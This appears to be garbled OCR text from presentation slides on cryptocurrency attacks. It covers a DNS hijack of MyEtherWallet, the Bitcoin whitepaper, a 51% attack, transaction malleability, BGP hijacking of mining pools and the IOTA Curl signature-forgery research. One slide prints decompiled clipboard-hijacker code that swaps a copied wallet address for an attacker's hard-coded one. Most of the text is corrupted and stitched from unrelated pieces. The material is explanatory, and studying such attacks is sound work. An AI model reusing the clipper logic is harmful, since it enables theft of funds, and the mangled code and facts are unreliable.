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Couple of DNS servers were hijacked to —

resolve users to be -
redirected to a phishing site. This is not on
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MyEtherWallet.com: Your Key to Ethereum
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if { GetTheClipboardData{&String) )

{
if { lstrlenn(&String) > 4B && lstrlenA{&String) < 58 && String == '8' && u7 ==
{
uz = B;
For { 1 = B;
#{&String + 1)
&& (*(&String + 1) >= 97 && *=(&String + 1) <= 122
|| ®(&String + i) »= 65 && *(&String + i) <= 90
|| ®(&String + i) = 48 && *(&String + i) <= 57);
++1 )
{
+HUZ;
H

if ( u2 ==142)

lstrepyA(&Stringl, "0x004D3416DA4B338FAFIEF72388N93FAFS059DFd5");
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SetTheClipboardData{&String1);
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avoid mediating disputes.

Bitcoin: A Peer-to-Peer Electronic Cash System

Satoshi Nakamoto
satoshin@gmx.com
www.bitcoin.org

Abstract. A purely peer-to-peer version of electronic cash would allow online
payments to be sent directly from one party to another without going through a
financial institution. Digital signatures provide part of the solution, but the main
benefits are lost if a trusted third party is still required to prevent double-spending.
We propose a solution to the double-spending problem using a peer-to-peer network.
The network timestamps transactions by hashing them into an ongoing chain of
hash-based proof-of-work, forming a record that cannot be changed without redoing
the proof-of-work. The longest chain not only serves as proof of the sequence of
events witnessed, but proof that it came from the largest pool of CPU power. As
long as a majority of CPU power is controlled by nodes that are not cooperating to
attack the network, they'll generate the longest chain and outpace attackers. The
network itself requires minimal structure. Messages are broadcast on a best effort
basis, and nodes can leave and rejoin the network at will, accepting the longest
proof-of-work chain as proof of what happened while they were gone.

Introduction

Commerce on the Internet has come to rely almost exclusively on financial institutions serving as
trusted third parties to process electronic payments. While the system works well enough for
most transactions, it still suffers from the inherent weaknesses of the trust based model.
Completely non-reversible transactions are not really possible, since financial institutions cannot
The cost of mediation increases transaction costs, limiting the
minimum practical transaction size and cutting off the possibility for small casual transactions,

We propose a solution to the
double-spending problem using
a peer-to-peer network.

51% attack [Nakamoto2008]

I will try to catch
up with 3 blocks
and rewrite the
history of
transactions
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Malleated Transaction ID injection

The malleated transaction is confirmed first
Transaction outputs of the original transaction
are actioned but network confirmations refer
to the malleated verion txn id

Node A submits
a send transaction
(as above) )

{ -
"account"! “My Payment Address", e
"address": "1i2PgM28zvUENE",

“category”: "send”,
"amount”: -1.25,
"Fee" -0.0001, D
"confirmations”; 0,
"blockhash" : gt
"blockindex":
"blocktime": -
"txid” : 7f77",
"time" : 1391750000,
"timereceived": 1391750111
}

o
Node A custom wallet software, upon not seeing

)
double-spend!
a
%
3 )
j =
confirm

confirmation, of txnid 7f77, may assume the transaction failed
and issue another send transaction!

B

>

4 {
“account”: "My Payment Address”,
“address": “112PgM28zvUENE",
“category": "send”,

"amount”: -1.25,

“fee”: -0.0007,
“confirmations”: 0,
"blockhash": e
“blockindex”: ,
“blocktime”:

"txid" : "8a88",
“time": 1391750000,
“timereceived": 1391750111

owner of wallet address
112PgM28zvULNE

https://www.ccn.com/bitcoin-transaction-malleability/



=l

s\

h = PN NN ISC )
RINE (MWSETRR) ) | &
miners
;E’fjﬂ A — =
it B / J 4[]
| ; | AS3 | —
ol - B —_y A3 ) B = =
[ —— "‘.. B ' .o'... ~-
: | : =
Stratum B A | '.,..Stra}m
5 © H /B
I‘l - B ._." r_;,'.’l::
IR >0 &
AS1 & stealth
7 - BB connection
mining y F
pool S
~— bitcoin connection
-------- hijacked connection by AS&
------- private pool traffic
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2 2 O 1 7£E 5 E I I OTA IZA-I%E* M ITEI:] E): -%gﬁﬁi H IOTA Vulnerability Report: Cryptanalysis of the Curl Hash Function Enabling Practical
& Signature Forgery Attacks on the IOTA Cryptocurrency
BRI R AN , |

By Ethan Hellman (Boston University, Paragon Foundation, Commonwealth Crypto), Neha Narula (MIT Media Lab), Thaddeus
Dryja (MIT Media Lab, Lightning Network Dev), Madars Virza (MIT Media Lab, Zcash)

. 78, MITHRESEMIOTAR, MIIEMT || ==

Summary: We prasent attacks on the cryptography used In the IOTA blockchain including under certain conditions the ability to

I OT A 7 5\ I]/\ I VAN o /r\ C u rI f — 3117 = L N forge signatures. We have developed practical attacks on IOTA's cryptographic hash function Curl, sllowing us to quickly
ﬁ I_I | j: E J//SE generate short colliding messages. Thess collisions work even for messages of the same langth, Exploiting these woaknesses in

Curl, we break the EU-CMA security of the IOTA signature scheme. Finally we show that in a chosen message setting we can

>< ﬁjt Jtt I OTA * r | P OW forge signatures of valid spending transactions (called bundles in IOTA). We present and demonstrate a practical attack
I i i5 i \_\L (achievable in a few minutes) whereby an attacker could lorge a signature on an I0TA payment, and potentially use this forged
signature to stesl funds from another IOTA user, This report provides exampie demonstrations of these vulnerabiities but does
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remove floating tx @@
limit to 4k tx
The Tangle main net o VORI
size by # of confirms
Switch network: main test spam size by weight
_ size by value
o tp color by order
: ;n;l:ssmn lighten links
® confirmed & __.'-' dark mode
select a transaction to view =
@ 362 confirmed by tx
o 1375 confirming tx
@ same bundle
enter a tx hash
enter a tag
enler a bundie-hash
/ i
,‘,‘ g ,;;I
4
Donations .
300.00MI
1.00M) hengBoz
500,001 henjBoz
101.00ki hsn|8oz
value: 0.00: tips ratio: 9.46%

tx tag: SIDETANGLESROCKS99999390309
tx hash: LEFQD9Z90KHCSIVOWKVRYPAFUFHYXMUQUDJWPNGTTOPVXMSKSJISPMRPGIOVZIBFLILJYRYDOAPMAS959
bundle hash (0{0): HZELRVGIWETDSHRIOWFIRPNCEMPIFDTHRBMZKACBCNABJWBSHMJDOKPEQICDHUMPGWGHZCSIUJCPFDAUW

confirmed ratio: 0.20%
(30s avg) tps: 4.97

transactions; 3504
ONACPRZWALMADRCOPCEDLMIVYARMBLOICIDL YSFRFIEINCMICS YTZCORPC TVEZEIKVWOOHLBFHEBPUCLIIUS (301.734M)
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Don't Trust. Verify!
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